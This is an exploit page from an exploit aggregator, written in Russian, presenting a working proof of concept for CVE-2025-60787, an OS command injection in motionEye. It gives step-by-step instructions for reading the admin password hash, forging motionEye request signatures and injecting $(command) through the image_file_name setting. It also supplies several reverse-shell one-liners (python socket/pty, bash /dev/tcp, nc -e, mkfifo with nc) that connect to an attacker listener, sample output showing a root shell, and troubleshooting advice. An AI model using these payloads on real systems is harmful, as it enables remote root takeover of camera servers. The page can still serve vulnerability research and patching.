Sploitus

Exploit for CVE-2025-60787

kitploit · 2026-09-01

Exploit Code

MARKDOWN359 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AGENT-SKYWALKER-CVE-2025-60787
# CVE-2025-60787 - MotionEye RCE

MotionEye v0.43.1b4 Внедрение команд ОС

Эксплойт для Proof-of-Concept, демонстрирующий внедрение команд ОС в уязвимости motionEye, веб-интерфейса для демона motion. Уязвимость использует параметр конфигурации `image_file_name`, который передаётся напрямую в оболочку без санитизации, что позволяет внедрять произвольные команды через синтаксис подстановки `$(command)`.

> **Отказ от ответственности:** Используйте только против систем, на тестирование которых у вас есть явное разрешение. Несанкционированное использование незаконно.

* * *

## Содержание

  * Как работает уязвимость
  * Предварительные требования
  * Шаг 1 — Найти хэш пароля администратора
  * Шаг 2 — Понимание цепочки аутентификации
  * Шаг 3 — Понимание алгоритма подписи
  * Шаг 4 — Настройка эксплойта
  * Шаг 5 — Запустите свой слушатель
  * Шаг 6 — Запустите эксплойт
  * Справочник параметров
  * Устранение неполадок



* * *

## Как работает уязвимость

motionEye передаёт значение конфигурации `image_file_name` напрямую демону motion как шаблон имени файла оболочки. Motion вычисляет выражения подстановки `$(...)` внутри имён файлов во время создания снимка, что означает, что любая команда, помещённая внутрь `$(...)`, выполняется от имени пользователя, запустившего процесс motion (обычно `root`).

Полная цепочка атаки:

root@kitploit:~
    
    
    1. Прочитать хэш admin_password из /etc/motioneye/motion.conf
             ↓
    2. Вывести cookie_hash = SHA1(admin_password_hash)
             ↓
    3. Вычислить HMAC-подпись, используя точный алгоритм motionEye:
       SHA1("METHOD:path:body:key")
             ↓
    4. Отправить вредоносную конфигурацию через POST на /config/{cam}/set/ с:
       image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
             ↓
    5. Запустить снимок через неаутентифицированный порт управления motion 7999
             ↓
    6. Motion вычисляет имя файла → команда выполняется от root
             ↓
    7. Обратный шелл подключается обратно к машине атакующего
    

* * *

## Предварительные требования

  * Python 3.6+
  * Сетевой доступ к целевому экземпляру motionEye (порт по умолчанию `8765`)
  * Хэш пароля администратора из `/etc/motioneye/motion.conf`
  * Слушатель на вашей атакующей машине (например, `nc`)



Сторонние пакеты Python не требуются — эксплойт использует только стандартную библиотеку.

* * *

## Шаг 1 — Найти хэш пароля администратора

Файл конфигурации motionEye хранит пароль администратора в виде SHA1-хэша. Прочитайте его на цели:

root@kitploit:~
    
    
    cat /etc/motioneye/motion.conf
    

Найдите строку комментария `@admin_password`:

root@kitploit:~
    
    
    # @admin_username admin
    # @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
    

> Значение после `@admin_password` — это SHA1-хэш открытого пароля, а не сам пароль. Именно этот хэш нужен для эксплойта.

Также обратите внимание на значение `webcontrol_port` — это неаутентифицированный порт управления motion, используемый для запуска снимков:

root@kitploit:~
    
    
    webcontrol_port 7999
    webcontrol_localhost on
    

root@kitploit:~
    
    
    user@test:/tmp$ cat /etc/motioneye/motion.conf
    # @admin_username admin
    # @normal_username user
    # @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
    # @lang en
    # @enabled on
    # @normal_password 
    
    
    setup_mode off
    webcontrol_port 7999
    webcontrol_interface 1
    webcontrol_localhost on
    webcontrol_parms 2
    
    camera camera-1.conf
    camera camera-2.conf
    

* * *

## Шаг 2 — Понимание цепочки аутентификации

motionEye использует схему аутентификации с двойным хэшированием:

root@kitploit:~
    
    
    plaintext_password
           │
           ▼  SHA1
    admin_password  ←── хранится в motion.conf как @admin_password
           │
           ▼  SHA1
    cookie_hash     ←── отправляется в cookie браузера как meye_password_hash
           │
           ▼  используется как HMAC-ключ
    request_signature ←── параметр _signature= в каждом API-запросе
    

Эксплойт автоматически выводит cookie_hash из конфигурационного хэша:

root@kitploit:~
    
    
    cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
    

Вы можете проверить это вручную:

root@kitploit:~
    
    
    echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
    # вывод: 238bd0f26e9f987d2dc9c0351c018e5f52534052
    

* * *

## Шаг 3 — Понимание алгоритма подписи

Подпись вычисляется из исходного кода motionEye по адресу  
`/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py`:

root@kitploit:~
    
    
    SHA1("METHOD:path:body:key")
    

Где:

  * `METHOD` — HTTP-метод (`POST`)
  * `path` — URI с удалённым `_signature` из строки запроса, отсортированные параметры, URL-кодированные значения, затем отфильтрованные через `_SIGNATURE_REGEX`
  * `body` — сырая строка JSON-тела, отфильтрованная через `_SIGNATURE_REGEX`
  * `key` — либо `admin_password`, либо `admin_hash` (motionEye принимает оба), отфильтрованный через `_SIGNATURE_REGEX`



`_SIGNATURE_REGEX` удаляет любой символ, не входящий в `[a-zA-Z0-9/?_.=&{}\[\]":, -]`, заменяя их на `-`.

* * *

## Шаг 4 — Настройка эксплойта

Откройте `exploit.py` и установите следующие переменные в начале:

root@kitploit:~
    
    
    MOTIONEYE_URL = "http://127.0.0.1:8765"   # URL веб-интерфейса motionEye
    MOTION_URL    = "http://127.0.0.1:7999"   # порт управления motion (без аутентификации)
    USERNAME      = "admin"                    # имя администратора (по умолчанию: admin)
    ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # из motion.conf
    
    LHOST = "10.10.16.153"   # IP вашего слушателя — цель должна иметь к нему доступ
    LPORT = "4444"           # порт вашего слушателя
    

Команда обратного шелла устанавливается автоматически из `LHOST` и `LPORT`:

root@kitploit:~
    
    
    COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
    

**Альтернативные команды шелла** — замените `COMMAND`, если стандартная заблокирована:

root@kitploit:~
    
    
    # Bash TCP (просто, может быть отфильтровано)
    COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
    
    # Netcat с флагом -e
    COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
    
    # Netcat без -e (OpenBSD netcat)
    COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
    

* * *

## Шаг 5 — Запустите свой слушатель

На вашей атакующей машине запустите слушатель netcat **до** запуска эксплойта:

root@kitploit:~
    
    
    nc -lvnp 4444
    

Эксплойт делает паузу на 5 секунд после вывода напоминания о слушателе, давая вам время переключить терминалы.

* * *

## Шаг 6 — Запустите эксплойт

root@kitploit:~
    
    
    python3 exploit.py
    

Ожидаемый вывод:

root@kitploit:~
    
    
    ============================================================
      motionEye RCE — Reverse Shell
    ============================================================
    
    [*] LHOST      : 10.10.16.153
    [*] LPORT      : 4444
    [*] Command    : python3 -c '...'
    
    [!] Запустите слушатель СЕЙЧАС:
        nc -lvnp 4444
    
    [*] Отправка полезной нагрузки через 5 секунд...
    
    [*] cam=2 key=admin_password ts=1773484327292
        sig=abc123...
        status=200 resp={}
    
    [+] Конфигурация сохранена! cam=2 key=admin_password
    
    [*] Запуск снимков через порт 7999 (без аутентификации)...
    [+] cam 0 → 200 Снимок для камеры 0 выполнен
    [+] cam 1 → 200 Снимок для камеры 1 выполнен
    [+] cam 2 → 200 Снимок для камеры 2 выполнен
    
    [+] Снимок запущен — проверьте ваш слушатель на 10.10.16.153:4444
    

На вашем слушателе вы должны получить:

root@kitploit:~
    
    
    listening on [any] 4444 ...
    connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
    root@test:/var/lib/motioneye/Camera2#
    

* * *

## Справочник параметров

* * *

## Устранение неполадок

**403 Unauthorized на всех запросах**

Подпись неверна. Убедитесь, что значение `ADMIN_HASH` точно соответствует строке `@admin_password` в `motion.conf` — без пробелов, без символов новой строки.

root@kitploit:~
    
    
    cat /etc/motioneye/motion.conf | grep admin_password
    

**Снимки запускаются, но шелл не приходит**

Внедрение `image_file_name` сработало, но обратный шелл был заблокирован. Попробуйте альтернативную `COMMAND` из Шага 4. Также убедитесь, что цель может добраться до вашего `LHOST`:

root@kitploit:~
    
    
    # На цели
    ping -c 1 10.10.16.153
    curl http://10.10.16.153:4444
    

**Порт 7999 отказывается от соединения**

Настройка `webcontrol_localhost on` ограничивает порт 7999 только localhost. Эксплойт должен выполняться с целевой машины или через туннель. Проверьте с помощью:

root@kitploit:~
    
    
    ss -tlnp | grep 7999
    

**`motion.conf` не читается**

Возможно, файл требует повышенных привилегий:

root@kitploit:~
    
    
    sudo cat /etc/motioneye/motion.conf
    

**Не найдена конфигурация камеры**

Проверьте, какие файлы конфигураций камер существуют, и при необходимости обновите список `cam` в эксплойте:

root@kitploit:~
    
    
    ls /etc/motioneye/camera-*.conf
    

* * *

* * *

## Ссылки

  * CVE-2025-60787
  * Исходный код motionEye — utils/**init**.py
  * Исходный код motionEye — handlers/base.py